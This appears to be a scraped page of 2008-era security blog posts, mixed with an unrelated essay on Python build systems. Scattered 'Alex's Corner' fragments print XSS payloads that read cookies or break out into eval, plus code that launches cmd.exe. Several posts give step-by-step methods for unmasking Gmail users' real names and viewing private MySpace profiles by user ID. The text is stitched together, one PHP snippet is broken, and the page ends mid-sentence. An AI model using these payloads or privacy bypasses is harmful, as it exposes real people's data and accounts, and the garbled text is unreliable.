So what should I do with this information? Contacting the google security team is like typing Shakespeare into /dev/null, as anyone who ever tried to report a security vulnerability to google probably knows – it’s amazing to see the difference between the hostile google security team and the Microsoft security team who is trying hard (sometimes a little too hard) to be researcher friendly. So contacting google security is pretty much not an option.
The other ‘default’ option is to go full disclosure. But in this case, disclosing a bug in google will result in them claiming the bug is actually a feature, and then fixing it silently without any acknowledgment while chanting softly: “There was no bug. These aren’t the droids you’re looking for. Move along”. None of you will get a chance to test it, because by the time you do the problem would be fixed and we have never been at war with Eurasia.
So how do I give the smart readers a chance to try it out without alerting the world media? Simple: I will give you a chance to try it out before I disclose it. A smart and energetic researcher should be able to find this bug based on the hints in this page. You might even find holes different then what Yair did. This should be fun…
To give the proper incentive, if you find the hole, try to get the full name of the gmail email metalolcats@gmail.com. Use the full name as a coupon code to get a free account on our vulnerability scanning service to scan your server from the Internet on an ongoing basis. Just sign up here and use the real name of the gmail user above as the coupon code. If you don’t have a server to scan for vulnerabilities or don’t feel like signing up, send me the answer to aviram at beyondsecurity.com and I will mention you on this page. But be quick, the google QA team may find it before you. When enough people find it, or google fixes it, I’ll publish the way along with some screenshots. That is, if the truth ministry doesn’t get to me first.
Oh, and the question you are all dying to ask – admin@gmail.com is no longer ’smart ass’. It’s now just boring old “Admin”, but then again it always has been.
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
First time in the history of Anti-Phishing Working Group (aka APWG) the number of phishing reports received and new phishing sites discovered decreased at the end of period (i.e. Mar ‘08).
But don’t say “We won the race - at last” yet. The number of crimeware-spreading URLs rose to a new record.
Nothing special when digging the statistics of top hosting countries - U.S., China, Russia, etc. But hey, France is listed too.
And link to the recently released Q1 Phishing Trends Report (pdf) here.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
Alex's Corner
document.location = "http://www.site.com/user_input";<a name="x" id="x" href="http://localhost/xss.php?xss=<script>alert(7)</script>">test</a>
<script>
document.links[0].click();
</script>"+eval(name)+"
");eval(name+"
";location=name;//
";a.b=c;//
";a[b]=c;//
"+document.cookie+"";user_input=document.cookie;//";user_input=sensitive_app_specific_var;//";escape=eval;//
I run a number of different browsers, for various reasons. I was once even called a “browserholic” by a colleague! I pulled down IE8b2 when it went live a week ago. I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… XSS Filter
XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met. In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web. David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help. You can see some of the names of those who participated in XSS-Filter’s creation here.
Thanks David and CONGRATS on the release!
Some technical details with regards to XSS-Filter can be found here.
GoDaddy has decided to start giving away security seals to web sites. What is this security seal about? Well, it doesn’t say much beside telling you that GoDaddy verified something - what did they verify? It doesn’t say.
How does it work?
You are supposed to put a script tag inside your site, with the source reference of https://seal.godaddy.com/getSeal?sealID=[removed]
This generates HTML code that contains references to:
https://seal.godaddy.com:443/flash/sitesealgd_t_medium.swf?domainName=www.putyournamehere.com&color=000000
Changing the www.putyournamehere.com to www.re-electbush.com, www.mcainwon.com or even obamaisournewleader.com will show that you have been verified by GoDaddy - yeah!
Try it out yourself and see how you can get a godaddy seal with no effort - joy to the world
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
It is more than week ago when The Fedora Project informed about “important issue” affecting to its infrastructure systems. No additional details were given.
As expected, the claims and rumors started to spread if there was a serious server breach.
The Fedora Project issued a recommendation that users will not download any packages or update their Fedora installations. There was a note to change the Fedora Project passwords (it was not reported widely for some reason) too.
Today, Mr. Paul W. Frields, Fedora Project Leader has posted an announcement about the facts:
One of the compromised Fedora servers was a system used for signing Fedora packages. However, based on our efforts, we have high confidence that the intruder was not able to capture the passphrase used to secure the Fedora package signing key. Based on our review to date, the passphrase was not used during the time of the intrusion on the system and the passphrase is not stored on any of the Fedora servers.
While there is no definitive evidence that the Fedora key has been compromised, because Fedora packages are distributed via multiple third-party mirrors and repositories, we have decided to convert to new Fedora signing keys. This may require affirmative steps from every Fedora system owner or administrator. We will widely and clearly communicate any such steps to help users when available.
The Fedora Project servers are hosted at Red Hat Inc., the employee of Mr. Frields.
This is an interesting detail from hosting history section:
209.132.176.122 - Linux Apache/2.2.3 Red Hat - 19-Aug-2008
209.132.176.122 - Linux Apache/2.2.0 Fedora - 16-Aug-2008
209.132.176.122 - Linux Apache/2.2.3 Red Hat - 19-Aug-2008
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
I have never understood news articles using terms like ‘claims’ and ‘rumors’ when reporting about several vulnerabilities reported in Nokia Series 40 (S40) phones.
Adam Gowdiak from Poland is a well known researcher, man behind Windows RPC issue MS03-026 etc.
Sun has confirmed that older versions of Java 2 Platform Micro Edition (J2ME) are affected (this was on 15h Aug already) and Nokia confirmed these issues today (let’s say, at last).
It is not known if Sun Microsystems or Nokia Corp. paid €20 000 to Gowdiak, last week or possible later.
Some references:
Security Explorations: J2ME security vulnerabilities 2008
MIDP’s and MIDlets put tens of millions Nokia S40 phones in danger
Update 22nd Aug: From IDG.no:
“Gowdiak would not disclose if he was paid, but said that only reputable, vetted companies that pay would get the full research, which amounted to 180 pages and 14,000 lines of proof-of-concept code.
Nokia has a complete copy of Gowdiak’s research, said Mark Durrant of Nokia’s corporate communications.”
-
Let the experts make sure your website is safe. Vulnerability Assessment is the answer.
“How did you two meet? Did you mark her, or was it the other way around?”
- Robert Redford to Brad Pit, Spy Game
Con man 101: The best way to gain someone’s confidence is to make them think they contacted you. Scammers just love having potential victims contacting them.
Now, it seems they figured an interesting way to draw potential victims to their web site, in a way that is much easier than sending billions of spam email messages.
The idea is simple: take the person’s name (real people’s names are available for harvesting in places like linkedin, facebook, and other social networks) and put it in a web page. Doesn’t really matter where, as long as google indexes it.
Wait a while, and have that person google himself. Many people (myself included) have a ‘google alert’ on their name which sends them updated list of links to new pages where their name is mentioned.
Everyone likes to see where they are mentioned, so they will click on the link. And voila! They arrive to the spammer’s page. In some cases I’ve seen, the name was already gone from the page (but was still in the google cache). But all this doesn’t matter: as soon as the person reached the page, the web spammer’s job is done – he got his message in front of you, and maybe you’ll even dig deeper into his web site trying to figure out what the connection is to you.
There are many advantages to this method. First, you are not restricted by the message: the web page can openly have the words Viagra, Credit card debt and mortgage assistance without the fear of triggering anti-spam software. Also, people will pay more attention to the page since they think it has to do with them.
I don’t get the spammers’ marketing statistics, but I’m sure that the infamous spam text “it came to our attention that you’re in dire need of financial help” which sounds very much like a sincere, personal message, is a huge success. But this message has to get through the spam filters and include a real email address and a correct first/last name. The spam web page doesn’t need to bypass spam filters, and already has the correct name. In addition, you gain interesting information about the visitor: browser version, IP location and of course, the name he was searching for (that would be in the ‘referrer’ that is sent automatically by the browser to the web site). Oh, and of course – it’s cheap. You only need to put together a nice looking web page, and wait for google to do the rest. No buying of email lists and no cost of sending spam (which is nowadays the cost of hiring a zombie botnet for a couple of days).
For those aspiring scammers who are reading this, you should understand that it’s not a foolproof method. Obviously, it requires people to do a vanity search to reach you in the first place (though it also works on people who google their dates, their parents or their teachers). It also requires time – days, weeks or months (which may be difficult if your web site is on a zombie computer that might disappear by the time google indexes and the user comes to the site). But due to the fact the costs are very small, and there are no effective countermeasures at the moment, I think we will see more and more such attacks in the near future.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
How easy is it to break into your Gmail account? How about Yahoo! Or Windows Live?
If you provided a truthful answer to the security question during signup, it is probably quite easy to hijack your account, with just a little bit of a research.
Take a look at the Yahoo! Security Questions:
Are these security questions?
Anyone that knows my address can easily figure out the name of my first school or my high school mascot. All of my neighbors, family and friends know both my dog’s name and my dad’s middle name, and everybody in the world knows I just LOVE the Lakers. As for my wife and me, the people who attended our wedding had the chance to hear about it in the ceremony - in case you couldn’t make it, we met on a roof of a bus, in Ladakh, India in 1994…
The fact that the answer to each of the security questions above is relatively easy to find out, makes them a security vulnerability in my Yahoo! account.
By letting me make a security key based on the name of my first school, Yahoo! actually puts me at risk, allowing anyone that knows where I live to hijack my account. It’s like saying “We have the greatest lock to protect your house. Now, why don’t we hide the key under the mat”.
Windows Live is pretty much the same as Yahoo!:
Gmail is a little bit more sophisticated with one major difference:
Gmail is the only one of these three that allows you to choose your own question.
By letting you do that, Gmail asks “which question only you can answer?” I think that most people might still come up with “Who is my favorite singer”, “What is my date of birth” or “My dog’s name”.
However, that isn’t a security vulnerability encouraged by Google. If they give you the tools and you fail to use them, it’s not their fault.
So, what can we do about it?
If you can write your own question, that would be the best. If not, choose the question about the name of your first school and put your first phone number as the answer. That’s what I did!
Got better ideas? Share them with us!
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
Polish security researcher Adam Gowdiak is the only person in the world (we really hope he is!) who knows the details of the recent J2ME vulnerabilities affecting to Nokia mobile phones.
The research material includes information about
reliable MIDP 2.0 privilege elevation technique for Nokia Series 40 devices
and
Nokia specific exploitation technique leading to the remote and persistent deployment of a backdoor shell application into the target Nokia Series 40 phone
Mr. Gowdiak has tested 7 Nokia Series 40 models.
Needless to say that this information in the hands of bad guys is dangerous.
And related to the devices - Nokia Series 40 shipped with 3rd edition Feature Pack 2 and 3rd edition are affected.
-
Is your site safe from SQL Injection attaks? Sign up for Beyond Security’s Automated Vulnerability Detection Service today!
So-called Koobface case was covered in the IT news quite widely, but security mailing lists received the information on Thursday 7th August.
Kaspersky Lab reported about the existence of the worm on 31th July. Hey, it’s more than a week ago, but it took several days until the anti-virus protection was notable.
Remarkable anti-virus vendors have the following detection now:
(listed in alphabetical order)
McAfee – W32/Koobface.worm
BitDefender – Win32.Worm.KoobFace.A
Kaspersky Lab – Net-Worm.Win32.Koobface.b
Panda Security – Boface.A [Technical name: W32/Boface.A.worm]
Sunbelt Software – Net-Worm.Win32.Koobface.b
Sophos – detected proactively as Mal/Heuri-D, Mal/Heuri-E, Mal/Emogen-N and Mal/Packer
Symantec – W32.Koobface.A
There is no write-up available from F-Secure, Norman, TrendMicro etc. yet.
The AV industry knows the alias KoobFace too.
The size of the worm is 16 384-16 652 bytes. It is written in Visual C++ 6.0 and packed with UPX and Upack.
The second malware, attacking Facebok users since 7th Aug, is a Trojan horse (Sophos uses name Troj/Dloadr-BPL), spreading as Google video links posted to Wall and is a separate issue.
It’s time to remember that if you don’t see a detailed write-up from your own AV vendor later today - it’s a DEFCON weekend and Facebook has started blocking these from its side already.
But the protection - that’s we need with a delay less than 4 or 5 days.
-
Are you scanning your site for vulnerabilities on a daily basis?
Alberto Trivero posted an interesting whitepaper on the weaknesses of HTML5’s client-side storage features.
The paper is available here.
…and, like Juha-Mati wrote SecuriTeam blogs is now 3 years old. Oddly enough, after more than 1,000 posts, the most popular post is not one of Juha-Matti’s famous FAQs, Gadi’s rants or Rob’s washing-machine story. It’s a meaningless post by Noam (no offense, Noam) about IE4Linux. Go figure.
-
Are you scanning your site for vulnerabilities on a daily basis?
It was about three years again - exactly on 25th July 2005 when the First Post entry was posted to this Web site.
Today, the blog statistics show that there are currently 1,037 posts and 3,435 comments written.
Time to say a big Thank You to you, readers and all blogger colleagues!
-
Is your site safe from SQL Injection attaks? Sign up for Beyond Security’s Automated Vulnerability Detection Service today!
Alex's Corner
var file = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
file.initWithPath("C:\WINDOWS\system32\cmd.exe");
file.launch();
Ever wondered what name is behind some obscure gmail address? Maybe your preferred gmail address was taken and you’re wondering who took it?
Here’s a cute vulnerability in the gmail system that comes from the strong tie-ins between gmail, the google calendar and all the other services.
How to do it:
- Go to the ’share this calendar’ tab
- Enter the email address in the ‘person’ box
- Click ‘add person’ and ’save’
- When you return to this screen you will see the first and last name along with the gmail address
Screenshots:
I always wondered who was behind admin@gmail.com
Oh, I guess they figured people like me would be interested…
If you are getting personalized emails from spammers to your gmail account, here’s an idea on how they got your name.
-
Is your site safe from XSS Attacks? Use Active Network Scanning to protect your network!
Alex's Corner
function decode_blob ($blob) {
$ret = "";
for ($i=2,$c=strlen($blob);$i $ret .= chr(hexdec ($blob[$i].$blob[$i+1]));
}
return $ret;
}
In many Word 0-day vulnerabilities covered by SecuriTeam Blogs Word Viewer utility is being included to affected products.
This week the situation is different, however.
Related to the most recent MS Word vulnerability Word Viewer 2003 and Word Viewer 2003 Service Pack 3 are not vulnerable (Microsoft’s advisory here). Word Viewer 2003 SP3 KB document here, in turn.
To readers not familiar with these cases: Normally these vulnerabilities are being reported related to targeted attacks via e-mail. References are listed here: CVE-2008-2244. This particular case in known as so-called attachement.doc case. Trojan malware related to this case is from MSWord.Agent.cq series.
There are connections to Beijing Olympics too - in the form of attend_the_opening_ceremony_of_the_29th_olympic_games_in_beijin.doc files too.
A fix for this vulnerability is not expected before August ’s Black Tuesday. The most important question is: how to implement the use of Word Viewer in your organization.
-
Is your site safe from XSS Attacks? Sig nup for Beyond Security Vulnerability Scanner today!
Alex's Corner
Lately there’s been some interest in build processes among various people — Vellum was announced a while back, Ben has been looking for a tool and looking at Fabric, and Kevin announced Paver. At the same time zc.buildout is starting to gain some users outside of the Zope world, and I noticed Minitage as an abstraction on top of zc.buildout.
A while ago I started working on a build project for Open Plans called fassembler. I think the result has been fairly successful and maintainable, and I thought I’d share some of my own reflections on that tool.
Update: what we were trying to accomplishI didn’t make it clear in the post just what we were trying to do, and what this build system would accomplish.
Our site (openplans.org) is made up of several separate servers with an HTML-rewriting proxy on the front end. We have a Zope server running a custom application, Apache running WordPress MU, and some servers running Pylons or other Python web applications for portions of our site. We needed a way to consistently reproduce this entire stack, all the pieces, plugged together so that the site would actually work. Two equally important places where we had to reproduce the stack are for developer rigs and the production site.
Our code is primarily Python and we use a lot of libraries, developed both internally and externally. Setting up the site is primarily a matter of installing the right libraries and configuration and setting up any databases (both a ZODB databases and several MySQL databases). We use a few libraries written in C, but distutils handles the compilation of those pretty transparently.
For this case we really don’t care about build tools that focus on compilation. We don’t care about careful dependency tracking because we are compiling very little software.
make doesn’t make senseUpdate 2: If you think the make model makes lots of sense, read the preceding section — it makes sense for a different problem set than what we’re doing.
We initially had a system based on BuildIt, which is kind of like make with Python as the control code. It wasn’t really a good basis for our build tool, and I think it added a lot of confusion, compounded by the fact that we weren’t quite sure what we wanted our build to do. Ultimately I think the make model of building doesn’t make sense.
The make model is based on the idea that you really want to save work. So you detect changes and remake things only as necessary. For compilation this might make sense, because you edit code and recompile a lot and it’s tedious to wait. But we are building a website, and installing software, and none of that style of efficiency matters. make-style detection of work to be done doesn’t even save any time. But it does make the build more fragile (e.g., if you define a dependency incorrectly) and much harder to understand, and you constantly find yourself wiping the build and starting from scratch because you don’t trust the system.
The metaphor for the new build system was much simpler: do a list of things, top to bottom. There’s no effort into detecting changes in the build, or changes in the settings, or anything else.
Do things carefullyIn the build system almost all actions go through the filemaker module. This is kind of a file abstraction library. But the goals are entirely different than convenience: the goal is transparency and safety. In contrast Paver uses path.py for convenience, but I’m not sure what the win would be if we used a model like that.
filemaker itself is heavily tied to the framework that it’s written for, specifically user interaction and logging. Most tasks just do things, and rely on filemaker to detect problems and ask the user questions. For example, every time a file is written, it checks if the file exists, and if it has the same content. If it exists with other content, it asks the user about what to do. It doesn’t overwrites files without asking (at least by default). I think this makes the tool more humane as the default behavior for a build is to be careful and transparent. The build author has to go out of their way to make things difficult.
Many zc.buildout recipes will blithely overwrite all sorts of files which always made me very uncomfortable with the product. It’s the recipes in zc.buildout which do this, not the buildout framework itself, but because buildout made overwriting the easy thing to do, and didn’t start with humane conventions or tools, this behavior is the norm.
What I think filemaker most accomplished was the ability to do file operations while also asserting the expected state of the system, and so makes build bugs noticeable earlier instead of getting a build process that finishes successfully but creates a buggy build, or having an exception show up far from where the error was originally introduced.
Also, because it won’t overwrite your work in progress this has saved the build from engendering deep feelings of hatred in cases when it might overwrite your work in progress. It’s hard to detect this absence of hatred, but I know that I’ve felt it with other systems.
Update: a corollary: ignore no errorsOne question you might wonder about: why not a shell script? We did prototype some things as shell scripts, but we’ve consistently moved to Python at some point, even things that seemed really trivial. The problem with shell scripts is they have horribly bad behavior with respect to errors. Ignoring errors is really really easy, noticing errors is really hard.
This is absolutely unacceptable for builds. Builds must not ignore errors. The build may mostly work despite an error. It might be totally broken, but the error message is lost in all sorts of useless output. The error message probably makes no sense. The context is lost. No suggestion is given to the user.
When builds work, that’s great. Build do not always work. They always fail sometimes, and some poor sucker (usually in some hot potato-like arrangement) has to figure out what went wrong. You have to plan for these problems.
Everything in the build tries to be careful about errors. All places where it is not, it is a bug. The resolution isn’t to see something appear to work, but create a broken build, and say "oh, you forgot to set X". The resolution is to make sure when you forget to set X it gives you an error that tells you to set X.
This is one of the more important and more often ignored principles of a good build/deployment system. Maybe it’s gotten better, but when I first used zc.buildout (very early in its development) the poor handling of errors was by far the biggest problem and it left me with a bad taste in my mouth. easy_install and setuptools in general is also very flawed in this respect.
Log interesting thingsI tried to make a compromise between logging very verbosely, and being too quiet. As a user, I want to see everything interesting and leave out everything boring. Determining interesting and boring can be a bit difficult, but really just require some attention and tweaking.
To make it possible to visually parse the output of the tool I found both indentation and color to be very useful. Indentation is used to represent subtasks, and color to make sections and warnings stand out.
The default verbosity setting is not to be completely quiet. Silence is a Unix convention that just doesn’t work for build tools. Silence gets you interactions like this:
$ build-something target-directory/ (much time passes) Error: cannot write /home/ianb/builds/20080426/target-directory/products/AuxInput/auxinput/config/configuration.xml
Why did it want to write that file? Why can’t it write that file? Is the build buggy? Did I misconfigure it? Does the directory exist?
The typical way of handling this is either to run the build again with logging setup or otherwise make it more verbose, or to get in the habit of always running it verbose.
Mixing code and configurationBuildIt, which we were using before, had the ability to put variables in settings, and you could read an option from another section with something like ${section/option}. It was limited to simple (but recursive) variable substitution, and had some clever but very confusing rules that created a kind of inheritance.
I liked the ability to do substitution, but wasn’t happy with the compromise BuildIt made. I wasted a lot of time trying to figure out the context of substitutions. So, I saw two directions. One was to remove the cleverness and just do simple substitution. This is the choice zc.buildout made. The other was to go whole-hog. With a bit of trepidation I decided to to go for it, and I made the choice to treat all configuration settings as Tempita templates. All configuration is generally accessed via config.setting_name, and that lazily interpolates the setting (it took me quite a while to figure out how to avoid infinite loops of substitution). Because evaluation is done lazily settings can depend on each other and be overridden and have lots of code in defaults (e.g., a default that is calculated based on the value of another setting), and it works out okay. Most settings just ended up having a smart default, and as a result very little tweaking of the configuration is necessary.
Somewhat ironically the result was a kind of atrophying of the settings, because no one actually set them, instead we just tweaked the defaults to get it right. Now I’m not entirely sure what exactly the "settings" are setting, or who they should really belong to. To the build? To the tasks? While this is conceptually confusing, in practice it isn’t so bad. This mixing of code and configuration has been distinctly useful, and not nearly as problematic to debug as I worried it would be. In some ways it was a way of building lambda into every string, and the lazy evaluation of those strings has been really important. But it’s not clear if they are really settings.
Would normal string interpolation have been enough (e.g., with string.Template)? I’m pretty sure it wouldn’t have been. The ability to do a little math or use functions that read things from the environment has been very important.
Managing Python librariesfassembler uses virtualenv for building each piece of the stack. Generally it creates several environments and installs things into them — it doesn’t run inside the environments itself. This works fine.
zc.buildout in comparison does some fancy stuff to scripts where specific eggs are enabled when you run a script. Each script has a list of all the eggs to enable. You can’t install things or manage anything manually, even to test — you always have to go through buildout, and it will regenerate the scripts for you. zc.buildout was implemented at the same time as workingenv (the predecessor to virtualenv), and I actually finished virtualenv with fassembler in mind, so I can’t blame zc.buildout for not using virtualenv. That said, I don’t think the zc.buildout system makes any sense. And it’s really complicated and has to access all sorts of not-really-public parts of easy_install to work.
Isolation is only the start. easy_install makes sure each library’s claimed dependencies are satisfied. You might then think easy_install would do all the work to make the stack work. It is nowhere close to making the stack work. setup.py files can/should contain the bare minimum that is known to be necessary to make a package work. But they can’t predict future incompatibilities, and they can’t predict interactions. And you don’t want all your packages changing versions arbitrarily. If you work with a lot of libraries you need those libraries to be pinned, and only update them when you want to update them, not just because an update has been released.
So for each piece of the stack we have a set of "requirements". This is a flat files that indicates all the packages to install. They can have explicit versions, far more restrictive than anything you should put in setup.py. It also can check out from svn, including pinning to revisions. This installation plan can go in svn, you can do diffs on it, you can branch and copy and do whatever. Maybe at some point we could use it to keep cached copies of the libraries. For now it mostly uses easy_install (and python setup.py develop for checkouts).
In parallel we have a command-line program for just installing packages using files like this, called PoachEggs. I want to make this better, and have fassembler use it, but I mostly note it because it implements a feature that can "freeze" all your packages to a requirements file. You take a working build and freeze its requirements, giving explicit (==) versions for packages, and pin all the svn checkouts to a revision, so that the frozen requirements file will install exactly the packages you know work.
An alternative to this is what the Repoze guys are doing, which is to create a custom index that only includes the versions of libraries that you want. You then tell easy_install to use this instead of PyPI. It works with zc.buildout (and anything that uses easy_install), but I can’t get excited about it compared to a simple text file. I also want svn checkouts instead of create tarballs of the checkout — I like an editable environment, because the build is just as much to support developers as to support deployment.
The structureA big part of the development of fassembler was nailing down the structure of our site, and moving to use tools like supervisor to manage our processes. A lot of these expectations are built into the builds and fassembler itself. This is part of what makes the build Work — the pieces all conform to a common structure with some basic standards. But this isn’t the build tool itself, it’s just a set of conventions.
I don’t know quite what to make of this. Extracting the conventions from the builds leads to a situation where you can more easily misconfigure things, and the installation process ends up being more documentation-based instead of code-based. We do not want to rely on documentation, because documentation is generally because of a flaw in the build process that needs explaining. It’s faster for everyone if the code is just right. Maybe these conventions could be put into code, separate from the build. The abstraction worries me, though — too much to keep track of?
What we don’t get rightThe biggest problem is that fassembler is our own system and no one else uses it. If someone wants to use just a piece of our stack they either have to build it manually or they have to use our system which is meant to build all our pieces together with our conventions. There’s some pressure to use zc.buildout to make pieces more accessible to other Zope users. We’ve also found things that build with zc.buildout that we’d like to use (e.g., setups for varnish).
We haven’t figured out how to separate the code for building our stuff from the build software itself. There’s a bootstrapping problem: you need to get the build code to build a project, and so it can’t be part of the project you are building. zc.buildout uses configuration files (that aren’t code, so they lack the bootstrap problem) and it uses recipes (a kind of plugin) and has gone to quite a bit of effort to bootstrap everything. virtualenv also supports a kind of bootstrap which we use to do the initial setup of the environment, but it doesn’t support code organization in the style of zc.buildout.
Builds are also fairly tedious to write. They aren’t horrible, but they feel much longer than they should be. Part of their length, though, is that over time we put in more code to guard against environment differences or build errors, and more code to detect the environment. But compared to zc.buildout’s configuration files, it doesn’t feel quite as nice, and if it’s not as nice sometimes people are lazy and do ad hoc setups.
The futureWe haven’t really decided, but as you might have noticed zc.buildout gets a lot of attention here. There’s quite a few things I don’t like about it, but a lot of these have to do with the recipes available. We don’t have to use the standard zc.buildout egg installation recipe. In fact that would be first on the chopping block, replaced with something much simpler that assumes you are running inside a virtualenv environment, and probably something that uses requirement files.
Also, we could extract filemaker into a library and recipes could use that. Possibly logging could be handled the same way (the logging module just isn’t designed for an interactive experience like a build tool). Then if we used other people’s recipes we might feel grumpy, since they’d use neither filemaker or our logging, but it would still work. And our recipes would be full of awesome. The one thing I don’t think we could do is introduce the template-based configuration. Or, if we did, it would be hard.
That said, there is a very different direction we could go, one inspired more by App Engine. In that model we build files under a directory, and that directory is the build. Wherever you build, you get the same files, period. All paths would be relative. All environmental detection would happen in code at runtime. Things that aren’t "files" exactly would simply be standard scripts. E.g., database setup would not be done by the build, but would be a script put in a standard location.
This second file-based model of building is very much different than the principles behind zc.buildout. zc.buildout requires rebuilding when anything changes, and does so without apology. It requires rebuilding to move the directories, or to move to different machines. Using a file-based model requires a lot of push-back into the products themselves. Applications have to be patched to accept smart relative paths. They have to manage themselves a lot more, detect their environment, handle any conflicts or ambiguities, being graceful about stuff like databases, because the files have to be universal. In an extreme case I could imagine going so far as to only keep a template for a configuration file, and write the real configuration file to a temporary location before starting a server (if the server cannot be patched to accept runtime location information).
So this is the choice ahead. I’m not sure when we’ll make this choice (if ever!) — build systems are dull and somewhat annoying, but they are no more dull and annoying than dealing with a poor build system. Actually, they are definitely less dull than working with a build system that isn’t good enough or powerful enough, or one that simply lacks the TLC necessary to keep builds working. So no choice is a choice too, and maybe a bad choice.
I recently talked to my friend, a nice guy but with limited computer skills, and what he told me quite amazed me:
I stopped caring about security, I no longer install Microsoft patches unless they install themselves automatically, I don’t upgrade my antivirus, antimalware or any other protection mechanism, I simply can’t spend the time doing it - my work is not my computer - the computer is a tool for me you can’t expect me to be an enigneer and fix my car right? so why is this expected from me with my computer?
Why was he talking like that? well simply put he is tired, he is tired of worrying about his computer security, about whether his antivirus is the latest, whether his malware prevention works, whether the patches are needed or not.
Security has become such a burden on the simple people that they are no longer caring about it.
And don’t get him wrong, he is a good guy, he even recently upgraded his hardware to accommodate his new OS installation of Vista - this because he was “promised” that Vista resolved all the security issues and that everything will be seamless - security wise - but of course it isn’t.
Vista is no different from previous OSes, XP promised and failed and I don’t see how the next OS will be able to deliver on its promise of secure OS.
Before you jump and say move to Linux, my friend here hasn’t the option to move to Linux as he needs several programs critical to his job that aren’t available for Linux - of course there are alternatives to them, but he is a professor not a kid, he has work to do with these programs and he can’t now just switch to a different OS and different programs, he has jobs to hand in, and research to do.
I am not sure what I can do for him - beside comfort him
-
Is your site XSS Attacks safe? Signup for Beyond Security Vulnerability Scanner today!
A recent survey revealed that 57 percent of Americans fear that their account passwords will be stolen when they bank online, and 38 percent do not trust online payment processing, banks and other ecommerce services. […] Justifying consumer concerns, 21 percent of the respondents in the survey said they had already had their bank data stolen. 40 percent of consumers who took the survey said they would buy more online if the security was strengthened. Another 44 percent of people said that online credit card processing worried them.
Source: [www.prweb.com]
Customer satisfaction with online banking sites has risen significantly over the past five years. […] The reading of 82 was higher than customers gave banks overall – 78 in 2007 – suggesting they are more pleased with banks’ online operations than with branches and call centers. […] The survey measured customers’ experiences with three types of financial institutions – banks, credit card companies and investment services firms. Banks got the highest score out of the three financial categories.
Source:
http://news.yahoo.com/s/ap/20080415/ap_on_hi_te/online_banking_survey[…]
-
Is your site XSS Attacks safe? Use Active Network Scanning to protect your network!
Here’s something we knew ever since we implemented DLL Fuzzing in beSTORM: when you give direct API access you are likely to expose some serious weaknesses.
Those weaknesses can lead to Paris Hilton being exposed, if you know what I mean. Actually, I mean that literally: a myspace API given to Yahoo! exposes the private profiles of Paris Hilton and Lindsay Lohan. Some people will consider that a better find than overwriting the EIP.
Here’s the howto, courtesy of Byron Ng:
1. you’ll need a Yahoo account. go to www.yahoomail.com and create a yahoo account if you don’t have one already. and you will need to go to www.myspace.com to sign up for a myspace account first, if you don’t have one already.
2.go to http://beta.m.yahoo.com/w/gallery/widget click on the ‘mail’ button under “sign in to yahoo!”
3. click on ‘click here to sign in’
4. enter your yahoo id, yahoo password
5. then on the top of the screen in the white box, enter: myspace then click Search Widgets Gallery
6. you will see a green box in the middle with the word ‘myspace’ in there.
7. click the green myspace.
8. see in the middle of the screen it says “add it” - click that.
9. click yes when it asks you about sharing info
10. go here http://beta.m.yahoo.com/w/gallery/widget
11. enter myspace into the box. click search widgets gallery
12. click on the green myspace. now, since you have already set it up in the previous steps, it won’t ask you to download again
13. click on ‘go to widget’ (that’s right below the ‘already added it” text
14. now sign in to myspace
15. now take the URL I asked you to save above before step 1: http://beta.m.yahoo.com/w/myspace/profile/en.osl?userID=16527727 and click on it. it may ask you to sign into yahoo or my space. sign in as appropriate. now you should be able to see the person’s pictures. if you can only see your own profile, then click on it again http://beta.m.yahoo.com/w/myspace/profile/en.osl?userID=16527727 then it will work.
The moral of the story: Check you API, and check it well. If you don’t, others will…
-
Is your site SQL Injection safe? Signup for an Automated Vulnerability Detection Service today!
AmitimA referred me to an interesting fact. Bank Hapoalim, the largest bank in Israel, has a warranty notice (Hebrew only) on their web site regarding Internet transactions.
Contrary to my (cynical?) expectations the warranty says as follows (apologies for the rough translation):
“This is to certify,
that bank Hapoalim provides you a warranty on money transfers out of your account, that were done over the Internet, maliciously, by a 3rd party that was not authorized to operate your account and has done so without your knowledge and without your consent, your approval or with you.The bank hereby declares that it will credit your account in the identical sum of the amounts that were taken out of your account, within 28 days from the day you sign the event form…”
The only obligation is that you notify them within 28 days of the event, and that you give them reasonable help to assist them in investigating. There is no fine print, no disclaimers and no hidden catches as far as I can tell.
I know this is already the informal policy in the Internet-based banking world. It makes sense: Banks want to encourage people to use their Internet banking that is cheap to maintain and support and to do that they swallow online fraud and phishing as the cost of doing business. But this is the first time I’ve seen a bank step forward and declare this unequivocally.
It seems new to me – when I signed up to online banking with Bank Hapoalim a few years ago I signed a waiver that placed all responsibility on me and practically none on the bank.
Are there any other banks out there that have a similar official policy on their web site? I’m not asking about the de-facto policy which is obviously the same as above for most banks. I’m talking about putting a clear and simple notice that they take full responsibility for losses caused by phishing.
Has the online-banking world changed while I wasn’t looking? Go check your bank’s official warranty and post the result in the comments below.
-
Is your site SQL Injection safe? Signup for Beyond Security Vulnerability Scanner today!
Cisco has released an updated version of its Cisco Security Response: Rootkits on Cisco IOS Devices document after the EuSecWest presentation of Mr. Sebastian Muniz (Core Security).
Hardening, best practices etc, it appears.
Thanks Gadi E. for pointing this on mailing lists.
-
Is your site SQL Injection safe? Signup for an Automated Vulnerability Detection Service today!
People have asked me a few times about evalexception and pdb — they’d like to be able to use something like pdb through the browser, stepping through code.
The technique I used for tracebacks wouldn’t really work for pdb. For a traceback I saved all the information from the frames — mostly just the local variables — and then let the user interact with that through the browser. But with pdb you pause the application part way through waiting for user input, and the routine only completes much later.
While writing WaitForIt I played around with techniques to deal with very slow WSGI applications. Not that hard, really — you launch every request in a new thread, and you manage those requests in an application of its own. So I started thinking about pdb again, and it started seeming feasible. Whenever the app reads from stdin it goes into an interactive mode, showing you what comes out on stdout and letting you add input to stdin. It’s nothing specific to pdb really.
So, with a bit of hacking, I added it into WebError (which is an extraction of the exception handling in Paste). To give the demo a try, do:
